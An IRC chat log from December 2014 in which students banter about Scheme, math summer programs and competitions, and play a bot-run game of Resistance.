[2014-12-30T00:36:25-0500] <@awe> It still is.
[2014-12-30T00:36:35-0500] <@awe> I'm not sure how transmuting to functions works though.
[2014-12-30T00:36:46-0500] <@awe> I guess it's just a function pointer.
[2014-12-30T00:36:50-0500] <nezorg> ...yeah
[2014-12-30T00:36:55-0500] <@awe> So, it might be not surprising that it's not bad.
[2014-12-30T00:51:28-0500] <Tamini_> bleh
[2014-12-30T00:51:44-0500] <Tamini_> @list
[2014-12-30T00:51:45-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, earth, ocean, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, lava, fire
[2014-12-30T00:51:45-0500] <alchemy> You have: aaron, ent, sword, penguin, puddle, plant, fireman, tornado, tool, metal, rain, water, evil, hole, man, stone, olaf, light, tree, robot
[2014-12-30T00:51:45-0500] <alchemy> You have: air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-30T00:51:45-0500] <alchemy> That's 49 out of 103!
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[2014-12-30T12:51:51-0500] <@awe> Tamini_: ohai
[2014-12-30T12:52:22-0500] <Tamini_> Awe! <3
[2014-12-30T12:52:36-0500] <Tamini_> alokpathy: pinng
[2014-12-30T12:52:48-0500] <alokpathy> Tamini_: pong
[2014-12-30T12:52:55-0500] <@awe> alokpathy: SYN
[2014-12-30T12:53:05-0500] <Tamini_> how goes it?
[2014-12-30T12:53:21-0500] <@awe> I guess packets must be dropping.
[2014-12-30T12:53:24-0500] <alokpathy> awe: I am straight :P
[2014-12-30T12:53:31-0500] <@awe> wat?
[2014-12-30T12:53:44-0500] <alokpathy> awe: http://www.urbandictionary.com/define.php?term=Syn ?
[2014-12-30T12:54:13-0500] <alokpathy> Tamini_: It's alright, lol.
[2014-12-30T12:54:26-0500] <@awe> It's TCP.
[2014-12-30T12:54:28-0500] <@awe> I send SYN
[2014-12-30T12:54:50-0500] <alokpathy> awe: Or, that. That's another interpretation.
[2014-12-30T12:54:56-0500] <@awe> You send SYN-ACK
[2014-12-30T12:55:03-0500] <@awe> and then I send ACK.
[2014-12-30T12:55:15-0500] <+hardmath123> Tamini_: which summer programs did you apply to? I just realized I need to not die of boredom this June.
[2014-12-30T12:55:30-0500] <Tamini_> hardmath123: come to ROSS!
[2014-12-30T12:55:36-0500] <Tamini_> i might be your junior counselor whoa
[2014-12-30T12:55:42-0500] <Tamini_> (what year are you btw)
[2014-12-30T12:55:48-0500] <+hardmath123> Tamini_: i'm a sophomore
[2014-12-30T12:55:48-0500] <alokpathy> awe: Oh yeah, I remember now.
[2014-12-30T12:55:54-0500] <alokpathy> awe: Learned that in pico2013 xD
[2014-12-30T12:56:04-0500] <Tamini_> alokpathy: cf i meant
[2014-12-30T12:56:08-0500] <Tamini_> hardmath123: apply to ROSS
[2014-12-30T12:56:20-0500] <Tamini_> if you liked usamts and not other comp math
[2014-12-30T12:56:20-0500] <alokpathy> Tamini_: Oh that didn't go well LOL
[2014-12-30T12:56:24-0500] <Tamini_> 10/10 would recommend
[2014-12-30T12:56:25-0500] <alokpathy> Tamini_: Partially because I was half-asleep
[2014-12-30T12:56:31-0500] <Tamini_> alokpathy: LOL wait what time was it
[2014-12-30T12:56:35-0500] <@awe> hardmath123: Oh, you have more of an excuse than Jacob then.
[2014-12-30T12:56:35-0500] <alokpathy> Tamini_: 10am
[2014-12-30T12:56:38-0500] <Tamini_> i thought it'd be ongoing
[2014-12-30T12:56:41-0500] <@awe> Pretty sure Jacob is a junior, right?
[2014-12-30T12:56:45-0500] <Tamini_> oh to 12:30
[2014-12-30T12:56:46-0500] <alokpathy> awe: Yeah, he is.
[2014-12-30T12:56:49-0500] <alokpathy> Tamini_: Yeah.
[2014-12-30T12:56:52-0500] <Tamini_> awe: jacob is my year yea
[2014-12-30T12:57:01-0500] <+hardmath123> awe: excuse for what?
[2014-12-30T12:57:05-0500] <alokpathy> Tamini_: Also I think I have a weird inclination to try to solve everything with graph theory.
[2014-12-30T12:57:40-0500] <@awe> hardmath123: only knowing js/python
[2014-12-30T12:59:39-0500] <Tamini_> alokpathy: lol,
[2014-12-30T12:59:47-0500] <Tamini_> you should teach me graph theory then
[2014-12-30T12:59:56-0500] <Tamini_> i tried to read the probabilistic method and i like
[2014-12-30T13:00:03-0500] <Tamini_> cried over my stupidity
[2014-12-30T13:00:10-0500] <+hardmath123> awe: :( i feel my C and Scheme should count for something. also a mild knowledge of smalltalk.
[2014-12-30T13:00:28-0500] <@awe> hardmath123: you described yourself as only really knowing JS, not me.
[2014-12-30T13:00:43-0500] <alokpathy> Tamini_: Isn't that just prove the existence of something by proving the probability is > 0?
[2014-12-30T13:00:46-0500] <+hardmath123> Tamini_: probabilistic method is like "if it can happen, then it can happen"
[2014-12-30T13:00:49-0500] <+hardmath123> :P
[2014-12-30T13:00:55-0500] <@awe> hardmath123: Scheme is p enlightening.
[2014-12-30T13:01:49-0500] <Tamini_> alokpathy: the book is basically
[2014-12-30T13:01:57-0500] <Tamini_> applying it to graph theory in
[2014-12-30T13:01:59-0500] <Tamini_> really trippy ways
[2014-12-30T13:02:09-0500] <alokpathy> Tamini_: Lol that sounds fun
[2014-12-30T13:02:12-0500] <Tamini_> po-shen showed us uh
[2014-12-30T13:02:15-0500] <Tamini_> what is it
[2014-12-30T13:02:32-0500] <Tamini_> the minimal number of intersections in a fully connected graph with n edges
[2014-12-30T13:02:34-0500] <+hardmath123> awe: well JS is the language that I completely grok/have become one with
[2014-12-30T13:02:37-0500] <Tamini_> using that
[2014-12-30T13:03:03-0500] <alokpathy> Tamini_: Oh, hm, that's interesting.
[2014-12-30T13:03:15-0500] <alokpathy> Tamini_: Lol I remember we did stuff with planar graphs over the summer
[2014-12-30T13:03:21-0500] <alokpathy> Tamini_: and I was like mindblown
[2014-12-30T13:03:39-0500] <Hyper> the intro to cs course at my hs was taught in scheme
[2014-12-30T13:03:45-0500] <@awe> Hyper: that's awesome.
[2014-12-30T13:03:47-0500] <Hyper> very good decision, forcing people to deal with recursion
[2014-12-30T13:03:58-0500] <@awe> Ours was QBasic. .-.
[2014-12-30T13:04:02-0500] <Hyper> ewww
[2014-12-30T13:04:49-0500] <Tamini_> oh wait
[2014-12-30T13:04:56-0500] <@awe> I spent the whole time working on a rougelike in QBasic.
[2014-12-30T13:05:01-0500] <Tamini_> the first programming language i learned was scheme
[2014-12-30T13:05:02-0500] <Tamini_> :O
[2014-12-30T13:05:13-0500] <Tamini_> i think its a common thing
[2014-12-30T13:05:24-0500] <Hyper> oh the first programming language I learned was java
[2014-12-30T13:05:27-0500] <@awe> It's not.
[2014-12-30T13:05:30-0500] <Hyper> that was probably a poor decision :(
[2014-12-30T13:05:36-0500] <@awe> Most people don't learn Scheme ever.
[2014-12-30T13:05:48-0500] <@awe> Hyper: eh. I started with C++ and then moved to Java.
[2014-12-30T13:05:54-0500] <Hyper> everyone should spend a little bit of time screwing with a lisp
[2014-12-30T13:08:27-0500] <+hardmath123> everyone should try to implement a lisp
[2014-12-30T13:08:35-0500] <+hardmath123> ideally *in* lisp
[2014-12-30T13:08:49-0500] <+hardmath123> (which is a tactical way of saying "everyone should own SICP")
[2014-12-30T13:08:52-0500] <Hyper> lol
[2014-12-30T13:10:34-0500] <Tamini_> Hyper: lots of parentheses :P
[2014-12-30T13:10:41-0500] <Hyper> yeppppppppppp
[2014-12-30T13:10:44-0500] <Tamini_> isnt there some IF which basically
[2014-12-30T13:10:44-0500] <Hyper> too many p's
[2014-12-30T13:10:48-0500] <Tamini_> teaches you lisp
[2014-12-30T13:11:15-0500] <Hyper> IF?
[2014-12-30T13:11:31-0500] <+hardmath123> Tamini_: there should be
[2014-12-30T13:11:44-0500] <+hardmath123> ((potion 'brew))
[2014-12-30T13:11:47-0500] <Tamini_> interactive fiction
[2014-12-30T13:11:49-0500] <Tamini_> and LOL
[2014-12-30T13:11:51-0500] <+hardmath123> (kill troll)
[2014-12-30T13:11:55-0500] <Hyper> ah
[2014-12-30T13:11:58-0500] <Tamini_> wait wait wait
[2014-12-30T13:12:02-0500] <+hardmath123> (kill troll sword)
[2014-12-30T13:12:05-0500] <Tamini_> can we make our ezctf game
[2014-12-30T13:12:08-0500] <+hardmath123> (go 'north)
[2014-12-30T13:12:11-0500] <Tamini_> teach people lisp
[2014-12-30T13:12:15-0500] <Tamini_> :P
[2014-12-30T13:12:25-0500] <+hardmath123> :P
[2014-12-30T13:12:29-0500] <+hardmath123> That's actually not a bad idea
[2014-12-30T13:12:51-0500] <alokpathy> hardmath123: Oh you're organizing ezctf too?
[2014-12-30T13:12:58-0500] <+hardmath123> "You are surrounded be a maze of twisty little passages. Implement A* to get out of here."
[2014-12-30T13:13:05-0500] <Hyper> lol
[2014-12-30T13:13:14-0500] <+hardmath123> alokpathy: no I'm their creative consultant for the game
[2014-12-30T13:13:50-0500] <alokpathy> hardmath123: The official creative consultant? 
[2014-12-30T13:13:56-0500] <Hyper> "You're trapped on an infinite graph with a given goal point. Implement A* to gtfo"
[2014-12-30T13:16:07-0500] <Tamini_> lol
[2014-12-30T13:16:14-0500] <Tamini_> and yeah
[2014-12-30T13:16:26-0500] <Tamini_> i appointed him to help me with story
[2014-12-30T13:16:34-0500] <Tamini_> but really hardmath123: apply to ROSS
[2014-12-30T13:16:41-0500] <Tamini_> you'll like the problems in the app too
[2014-12-30T13:17:03-0500] <Tamini_> take a summer, immerse 6 weeks in proof-based number theory
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[2014-12-30T13:17:45-0500] Pidgey sets mode +v JacobEdelman
[2014-12-30T13:18:00-0500] <+JacobEdelman> gmorning all
[2014-12-30T13:18:34-0500] <alokpathy> gafternoon*
[2014-12-30T13:19:15-0500] <Tamini_> hey, JacobEdelman
[2014-12-30T13:19:23-0500] <Tamini_> we were just talking about you
[2014-12-30T13:19:33-0500] <@awe> would anyone be mad if I disabled the democracy feature?
[2014-12-30T13:19:58-0500] <Tamini_> no, why?
[2014-12-30T13:20:28-0500] <Tamini_> we dont use it for anything constructive anyway
[2014-12-30T13:20:28-0500] <@awe> We don't even use it.
[2014-12-30T13:20:30-0500] <@awe> Yeah.
[2014-12-30T13:20:41-0500] <Tamini_> wait wait whoa
[2014-12-30T13:20:51-0500] <Tamini_> awe, me, alokpathy, hardmath123, JacobEdelman
[2014-12-30T13:20:55-0500] <Tamini_> that's five people
[2014-12-30T13:21:03-0500] <@awe> I'll keep Resistance.
[2014-12-30T13:21:03-0500] <Tamini_> WE KNOW WHAT THIS MEANS
[2014-12-30T13:21:20-0500] <alokpathy> :D
[2014-12-30T13:21:21-0500] <Tamini_> guys do you want to play
[2014-12-30T13:21:29-0500] <alokpathy> Yeah sure
[2014-12-30T13:21:34-0500] <Tamini_> start pls
[2014-12-30T13:21:36-0500] <@awe> Give me a sec.
[2014-12-30T13:21:38-0500] <@awe> I'm going to restart Pidgey.
[2014-12-30T13:21:40-0500] <Tamini_> mk
[2014-12-30T13:21:46-0500] <@awe> I want him on newer software.
[2014-12-30T13:21:52-0500] <@awe> (Hasn't been restarted in a LONG time)
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[2014-12-30T13:22:28-0500] <alokpathy> rip Pidgey
[2014-12-30T13:22:30-0500] <@awe> Last commit was b5480ea.
[2014-12-30T13:23:04-0500] <@awe> That was a month ago.
[2014-12-30T13:23:58-0500] <@awe> That was when I had just added SSL support, lol.
[2014-12-30T13:24:20-0500] <Tamini_> lol
[2014-12-30T13:25:00-0500] <@awe> That was before I did optional configuration.
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[2014-12-30T13:25:15-0500] <+hardmath123> Tamini_: alokpathy: so i'm going to see you guys at HMMT, right?
[2014-12-30T13:25:17-0500] Pidgey sets mode +a Pidgey
[2014-12-30T13:25:17-0500] Pidgey changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2014-12-30T13:25:24-0500] <@awe> Okay.
[2014-12-30T13:25:25-0500] <@awe> !resistance
[2014-12-30T13:25:26-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-30T13:25:33-0500] <alokpathy> !join
[2014-12-30T13:25:33-0500] <Tamini_> hardmath123: i hope? :P
[2014-12-30T13:25:38-0500] <alokpathy> JacobEdelman: hardmath123 Tamini_ 
[2014-12-30T13:25:41-0500] <+hardmath123> !join
[2014-12-30T13:25:45-0500] <Tamini_> ive been severely botching some tsts.
[2014-12-30T13:25:48-0500] <Tamini_> !join
[2014-12-30T13:25:56-0500] <+hardmath123> oh crud I forgot how this works
[2014-12-30T13:26:10-0500] <@awe> You should be fine.
[2014-12-30T13:26:14-0500] <@awe> Just try to get on missions.
[2014-12-30T13:26:18-0500] <@awe> If you're a spy, you want them to win
[2014-12-30T13:26:22-0500] <@awe> erm
[2014-12-30T13:26:23-0500] <@awe> lose
[2014-12-30T13:26:29-0500] <@awe> If you're a rebel, you want them to win.
[2014-12-30T13:26:38-0500] <@awe> JacobEdelman: nezorg 
[2014-12-30T13:28:34-0500] <+hardmath123> Tamini_: i'll be honest, the reason I'm iffy about applying to ROSS is that I don't want to be surrounded by obnoxious "why-math-is-a-sport" people.
[2014-12-30T13:28:46-0500] <@awe> hardmath123: you will be.
[2014-12-30T13:28:52-0500] <Tamini_> hardmath123: i think
[2014-12-30T13:29:08-0500] <Tamini_> <10% of the people at ROSS
[2014-12-30T13:29:10-0500] <@awe> @users
[2014-12-30T13:29:11-0500] <@awe> :(
[2014-12-30T13:29:14-0500] <Tamini_> are competition math kids
[2014-12-30T13:29:30-0500] <Tamini_> you're doing proofs every day for 6 weeks
[2014-12-30T13:29:36-0500] <Tamini_> you don't go unless you really like math.
[2014-12-30T13:30:01-0500] <Tamini_> some people were obnoxious, but not at a higher ratio than any other program
[2014-12-30T13:30:17-0500] <Tamini_> also lol, "why-math-is-a-sport"
[2014-12-30T13:30:17-0500] <alokpathy> Tamini_: Yeah, you'll see us
[2014-12-30T13:30:35-0500] <Tamini_> awe: shush, you dont know this >.<
[2014-12-30T13:30:35-0500] <@awe> Hyper: ?
[2014-12-30T13:30:55-0500] <@awe> Tamini_: I have a feeling that some of them don't seem quite as obnoxious to you because you're smart enough to shut them down.
[2014-12-30T13:31:06-0500] <@awe> which may be the case for hardmath123 too, I dunno.
[2014-12-30T13:31:06-0500] <+hardmath123> lol
[2014-12-30T13:31:21-0500] <Tamini_> awe: heh, i guess so
[2014-12-30T13:31:31-0500] <+hardmath123> no, i'm not smart enough to argue with people who can criticize my grammar in real time.
[2014-12-30T13:31:33-0500] <@awe> But yes, competitive math kids are going to be drawn to something that involves rigorous practice.
[2014-12-30T13:31:50-0500] <@awe> hardmath123: It's okay. You can't be worse than JacobEdelman on that front!
[2014-12-30T13:31:58-0500] <@awe> English and JacobEdelman are sworn enemies.
[2014-12-30T13:32:14-0500] <+hardmath123> someday we'll teach him Pravic and everything's gonnab e alright
[2014-12-30T13:32:56-0500] <+hardmath123> also, those people whom you ask "do you want coffee or tea?" and they say "yes" just to appear clever.
[2014-12-30T13:32:58-0500] <alokpathy> I mean, from my experience, I haven't seen anybody like math just for the contests and are obnoxious about it.
[2014-12-30T13:33:40-0500] <Tamini_> uhh
[2014-12-30T13:33:54-0500] <Tamini_> alokpathy: you havent met enough competitive math kids then :P
[2014-12-30T13:34:00-0500] <alokpathy> Tamini_: Probably, lol.
[2014-12-30T13:34:09-0500] <Tamini_> kids that get really brilliant really youngg
[2014-12-30T13:34:13-0500] <Tamini_> typically have this issue
[2014-12-30T13:34:31-0500] <Tamini_> like kids that start making usa(j)mo in middle school or below
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[2014-12-30T13:34:38-0500] <English> JacobEdelman: I will destroy you.
[2014-12-30T13:34:39-0500] <Tamini_> tend to think they're better than everyone else
[2014-12-30T13:34:48-0500] <alokpathy> Tamini_: Oh, yeah, I haven't met many of those.
[2014-12-30T13:34:50-0500] <alokpathy> Tamini_: Only Brice
[2014-12-30T13:35:02-0500] <Tamini_> one of my favorite freshmen had this issue until we called him out on it enough
[2014-12-30T13:35:05-0500] <alokpathy> Tamini_: I think Ernest?
[2014-12-30T13:35:06-0500] <Tamini_> lol brice is so cute
[2014-12-30T13:35:15-0500] <Hyper> awe: ??
[2014-12-30T13:35:20-0500] <Tamini_> hes such a interesting person
[2014-12-30T13:35:21-0500] <@awe> Hyper: play Resistance wtih us :D
[2014-12-30T13:35:22-0500] <alokpathy> Yeah, Brice definitely likes math 'cause math
[2014-12-30T13:35:23-0500] <Hyper> oh
[2014-12-30T13:35:31-0500] <Tamini_> i like those people
[2014-12-30T13:35:31-0500] <Hyper> um
[2014-12-30T13:35:41-0500] <Hyper> can you... watch a game?
[2014-12-30T13:35:46-0500] <Hyper> is it spectate-able?
[2014-12-30T13:35:49-0500] <@awe> Well, yes.
[2014-12-30T13:35:50-0500] <@awe> It happens here.
[2014-12-30T13:35:55-0500] <Hyper> I can't remember how to play xP
[2014-12-30T13:35:57-0500] <@awe> But we need five people to play.
[2014-12-30T13:35:59-0500] <@awe> .-.
[2014-12-30T13:36:09-0500] <@awe> You'll be fine.
[2014-12-30T13:36:23-0500] <alokpathy> English: do u wanna pl4y resistunce?
[2014-12-30T13:36:25-0500] <@awe> You just want to sabotage missions if you're a spy, and pass them if you're a rebel.
[2014-12-30T13:36:31-0500] <English> alokpathy: No.
[2014-12-30T13:36:42-0500] <alokpathy> English: y nut
[2014-12-30T13:36:45-0500] <@awe> Hyper: just !join :D
[2014-12-30T13:36:48-0500] <Hyper> !join
[2014-12-30T13:36:49-0500] <Hyper> ok
[2014-12-30T13:36:51-0500] <@awe> !start
[2014-12-30T13:36:51-0500] <&Pidgey> The game has begun!
[2014-12-30T13:36:51-0500] <&Pidgey> The first mission requires 2 participants.
[2014-12-30T13:37:04-0500] <@awe> So, I'm the leader and I'm going to propose a mission.
[2014-12-30T13:37:11-0500] <@awe> !propose awe Tamini_
[2014-12-30T13:37:11-0500] <&Pidgey> Proposed mission: [awe, Tamini_]
[2014-12-30T13:37:13-0500] <alokpathy> Pick me! Pick me!
[2014-12-30T13:37:13-0500] <alokpathy> Aw
[2014-12-30T13:37:17-0500] <@awe> You can now vote yes or no.
[2014-12-30T13:37:21-0500] <alokpathy> !vote yes
[2014-12-30T13:37:21-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:37:23-0500] <@awe> !vote yes
[2014-12-30T13:37:23-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:37:28-0500] <Hyper> !vote yes
[2014-12-30T13:37:28-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:37:31-0500] <Tamini_> !vote y
[2014-12-30T13:37:31-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:37:31-0500] <@awe> Anything that starts with y or n will suffice.
[2014-12-30T13:37:37-0500] <Hyper> ok, I'm starting to remember
[2014-12-30T13:37:41-0500] <@awe> hardmath123: 
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[2014-12-30T13:38:11-0500] <Hyper> awe: do the spies know who each other are?
[2014-12-30T13:38:15-0500] <@awe> No.
[2014-12-30T13:38:16-0500] <alokpathy> Who  here uses textual?
[2014-12-30T13:38:22-0500] <@awe> Hyper does.
[2014-12-30T13:38:24-0500] <@awe> I do.
[2014-12-30T13:38:25-0500] <Hyper> o/
[2014-12-30T13:38:25-0500] <alokpathy> Ah
[2014-12-30T13:38:29-0500] <@awe> Textual is awesome.
[2014-12-30T13:38:50-0500] <Hyper> I used limechat for like 4 years
[2014-12-30T13:38:56-0500] <Hyper> I switched a few months ago
[2014-12-30T13:39:11-0500] <alokpathy> awe: You ditched IRCCloud?
[2014-12-30T13:39:13-0500] <Hyper> mostly for away status coloring on the user list
[2014-12-30T13:39:21-0500] <@awe> alokpathy: I've been hosting a ZNC bouncer for a while now.
[2014-12-30T13:39:50-0500] <alokpathy> Ah, I see.
[2014-12-30T13:39:57-0500] <@awe> Hyper, Tamini, and I all use it.
[2014-12-30T13:40:05-0500] Hyper has userhost Hyper@pdgn-4jd.4t2.2bemd8.IP and real name "Hyper"
[2014-12-30T13:40:05-0500] Hyper is connecting from Hyper@104.236.15.100 104.236.15.100
[2014-12-30T13:40:05-0500] Hyper is on #pdgn 
[2014-12-30T13:40:05-0500] Hyper is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-30T13:40:05-0500] Hyper is using modes +x
[2014-12-30T13:40:05-0500] Hyper is using a secure connection
[2014-12-30T13:40:05-0500] Hyper signed on at December 3, 2014 at 7:00:53 PM EST and has been idle for 14 seconds
[2014-12-30T13:40:21-0500] <Tamini_> who needs to vote?
[2014-12-30T13:40:24-0500] <@awe> hardmath123: does.
[2014-12-30T13:40:25-0500] <alokpathy> Tamini_: hardmath123 
[2014-12-30T13:40:33-0500] <Tamini_> i voted!
[2014-12-30T13:40:40-0500] <@awe> no, he was answering you.
[2014-12-30T13:41:55-0500] <Tamini_> oh lol
[2014-12-30T13:42:24-0500] Tamini has userhost Tamini@pdgn-4jd.4t2.2bemd8.IP and real name "Ashley"
[2014-12-30T13:42:24-0500] Tamini is connecting from Tamini@104.236.15.100 104.236.15.100
[2014-12-30T13:42:24-0500] Tamini is on #pdgn 
[2014-12-30T13:42:24-0500] Tamini is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-30T13:42:24-0500] Tamini is using modes +x
[2014-12-30T13:42:24-0500] Tamini is using a secure connection
[2014-12-30T13:42:24-0500] Tamini signed on at December 27, 2014 at 11:36:50 AM EST and has been idle for 2 days, 12 hours, 25 minutes, 32 seconds
[2014-12-30T13:42:35-0500] awe has userhost awe@irc.pdgn.co and real name "Aaron Weiss"
[2014-12-30T13:42:35-0500] awe is connecting from awe@104.236.15.100 104.236.15.100
[2014-12-30T13:42:35-0500] awe is on @#pdgn ~#rust #study 
[2014-12-30T13:42:35-0500] awe is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-30T13:42:35-0500] awe is a NetAdmin on PdgnCo
[2014-12-30T13:42:35-0500] awe is using modes +o
[2014-12-30T13:42:35-0500] awe is using a secure connection
[2014-12-30T13:42:35-0500] awe signed on at November 20, 2014 at 12:32:57 AM EST and has been idle for 1 minute, 56 seconds
[2014-12-30T13:42:45-0500] <@awe> alokpathy: A while now being since the end of November.
[2014-12-30T13:43:04-0500] <+JacobEdelman> !join
[2014-12-30T13:43:04-0500] <&Pidgey> Sorry, the game is already in progress!
[2014-12-30T13:43:07-0500] <+JacobEdelman> ahhh
[2014-12-30T13:43:45-0500] <Hyper> :)
[2014-12-30T13:43:49-0500] <alokpathy> awe: Oh, I was not aware of this xD
[2014-12-30T13:44:08-0500] <@awe> !drop
[2014-12-30T13:44:08-0500] <&Pidgey> The game of Resistance has been dropped.
[2014-12-30T13:44:11-0500] <@awe> !resistance
[2014-12-30T13:44:11-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-12-30T13:44:12-0500] <@awe> !join
[2014-12-30T13:44:12-0500] <&Pidgey> You've already joined this game!
[2014-12-30T13:44:13-0500] <alokpathy> !join
[2014-12-30T13:44:14-0500] <alokpathy> JacobEdelman: 
[2014-12-30T13:44:20-0500] <@awe> Hyper: Tamini_ gooooo
[2014-12-30T13:44:23-0500] <Hyper> !join
[2014-12-30T13:44:55-0500] <@awe> JacobEdelman: 
[2014-12-30T13:44:55-0500] <@awe> JacobEdelman: 
[2014-12-30T13:44:56-0500] <@awe> JacobEdelman: 
[2014-12-30T13:44:56-0500] <@awe> JacobEdelman: 
[2014-12-30T13:45:02-0500] <+JacobEdelman> what?
[2014-12-30T13:45:04-0500] <@awe> !join
[2014-12-30T13:45:04-0500] <+JacobEdelman> !join
[2014-12-30T13:45:04-0500] <&Pidgey> You've already joined this game!
[2014-12-30T13:45:11-0500] <+JacobEdelman> wait, what?
[2014-12-30T13:45:12-0500] <+JacobEdelman> !join
[2014-12-30T13:45:12-0500] <&Pidgey> You've already joined this game!
[2014-12-30T13:45:15-0500] <@awe> No, that was from me.
[2014-12-30T13:45:18-0500] <alokpathy> JacobEdelman: We dropped the last game
[2014-12-30T13:45:19-0500] <Hyper> !list
[2014-12-30T13:45:20-0500] <+JacobEdelman> oh, okay
[2014-12-30T13:45:22-0500] <@awe> !users
[2014-12-30T13:45:24-0500] <@awe> !players
[2014-12-30T13:45:24-0500] <&Pidgey> Players: [awe, alokpathy, Hyper, JacobEdelman]
[2014-12-30T13:45:24-0500] <Tamini_> !join
[2014-12-30T13:45:29-0500] <@awe> !start
[2014-12-30T13:45:29-0500] <&Pidgey> The game has begun!
[2014-12-30T13:45:29-0500] <&Pidgey> The first mission requires 2 participants.
[2014-12-30T13:45:33-0500] <Hyper> !users
[2014-12-30T13:45:33-0500] <@awe> !propose awe Hyper
[2014-12-30T13:45:33-0500] <&Pidgey> Proposed mission: [awe, Hyper]
[2014-12-30T13:45:34-0500] <Tamini_> WAIT
[2014-12-30T13:45:36-0500] <Tamini_> oh damn ok
[2014-12-30T13:45:37-0500] <@awe> Hyper: it's players.
[2014-12-30T13:45:45-0500] <Hyper> gah
[2014-12-30T13:45:47-0500] <+JacobEdelman> !vote nah
[2014-12-30T13:45:47-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:45:47-0500] <Hyper> !players
[2014-12-30T13:45:47-0500] <&Pidgey> Players: [JacobEdelman, Tamini_, awe, Hyper, alokpathy]
[2014-12-30T13:45:50-0500] <@awe> !vote yea
[2014-12-30T13:45:50-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:45:53-0500] <Tamini_> hyper pm him the thing
[2014-12-30T13:45:54-0500] <Hyper> !vote ynot
[2014-12-30T13:45:54-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:45:55-0500] <Tamini_> from last game
[2014-12-30T13:45:58-0500] <Tamini_> !ye
[2014-12-30T13:45:59-0500] <alokpathy> !vote ye
[2014-12-30T13:45:59-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:46:19-0500] <@awe> Tamini_: vote
[2014-12-30T13:46:33-0500] <+JacobEdelman> its bad
[2014-12-30T13:46:36-0500] <Tamini_> !vote ye
[2014-12-30T13:46:36-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:46:36-0500] <&Pidgey> The mission is now live!
[2014-12-30T13:46:38-0500] <+JacobEdelman> since I'm not on it
[2014-12-30T13:46:43-0500] <Tamini_> lol
[2014-12-30T13:46:43-0500] <+JacobEdelman> noooooooooooooooooooooooooooooooo
[2014-12-30T13:47:22-0500] <@awe> Hyper: vote for mission success by PMing Pidgey !vote #pdgn yea/nay
[2014-12-30T13:47:51-0500] <&Pidgey> The mission was a success (S: 1 / 1). The new leader is JacobEdelman. The next mission requires 3 participants.
[2014-12-30T13:47:56-0500] <+JacobEdelman> hmmm
[2014-12-30T13:48:05-0500] <alokpathy> JacobEdelman: Pick me! Pick me!
[2014-12-30T13:48:13-0500] <alokpathy> [waves arms]
[2014-12-30T13:48:33-0500] <+JacobEdelman> !propose awe alokpathy JacobEdelman
[2014-12-30T13:48:33-0500] <&Pidgey> Proposed mission: [awe, alokpathy, JacobEdelman]
[2014-12-30T13:48:36-0500] <+JacobEdelman> happy?
[2014-12-30T13:48:37-0500] <@awe> !vote yea
[2014-12-30T13:48:37-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:48:40-0500] <alokpathy> !vote yea
[2014-12-30T13:48:40-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:48:41-0500] <+JacobEdelman> !vote yellow kittens
[2014-12-30T13:48:41-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:48:52-0500] <Hyper> !vote y
[2014-12-30T13:48:52-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:49:05-0500] <+JacobEdelman> Tamini_: 
[2014-12-30T13:49:16-0500] <Tamini_> !vote n
[2014-12-30T13:49:16-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:49:16-0500] <&Pidgey> The mission is now live!
[2014-12-30T13:49:53-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 1 / 2). The new leader is Hyper. The next mission requires 2 participants.
[2014-12-30T13:50:00-0500] <Hyper> oh my
[2014-12-30T13:50:08-0500] <alokpathy> :(
[2014-12-30T13:50:14-0500] <@awe> It's alokpathy.
[2014-12-30T13:50:17-0500] <Tamini_> hyper: as a general rule
[2014-12-30T13:50:21-0500] <alokpathy> No it isn't >:|
[2014-12-30T13:50:26-0500] <@awe> Jacob asked me if I'm the other spy which means he's not the other spy because the other spy would have a list.
[2014-12-30T13:50:29-0500] <Tamini_> if there's a mission with 3 people and you arent on it as a rebel
[2014-12-30T13:50:32-0500] <+JacobEdelman> wait
[2014-12-30T13:50:32-0500] <@awe> So, alokpathy is a spy.
[2014-12-30T13:50:33-0500] <+JacobEdelman> he does?
[2014-12-30T13:50:35-0500] <+JacobEdelman> oh
[2014-12-30T13:50:36-0500] <+JacobEdelman> fail
[2014-12-30T13:50:38-0500] <Tamini_> there's a spy on it
[2014-12-30T13:50:38-0500] <+JacobEdelman> oops
[2014-12-30T13:50:41-0500] <alokpathy> ...
[2014-12-30T13:50:47-0500] <alokpathy> JacobEdelman: is the spy
[2014-12-30T13:50:53-0500] <+JacobEdelman> what?
[2014-12-30T13:50:56-0500] <@awe> No.
[2014-12-30T13:50:56-0500] <Hyper> !propose awe
[2014-12-30T13:50:56-0500] <&Pidgey> Mission 3 should have 2 members.
[2014-12-30T13:50:58-0500] <+JacobEdelman> how does that even make sense?
[2014-12-30T13:51:00-0500] <Hyper> !propose awe Hyper 
[2014-12-30T13:51:00-0500] <&Pidgey> Proposed mission: [awe, Hyper]
[2014-12-30T13:51:05-0500] <@awe> !vote yea
[2014-12-30T13:51:05-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:51:06-0500] <+JacobEdelman> I sent that message to both awe and alokpathy
[2014-12-30T13:51:10-0500] <Hyper> !vote y
[2014-12-30T13:51:10-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:51:10-0500] <+JacobEdelman> I trust awe
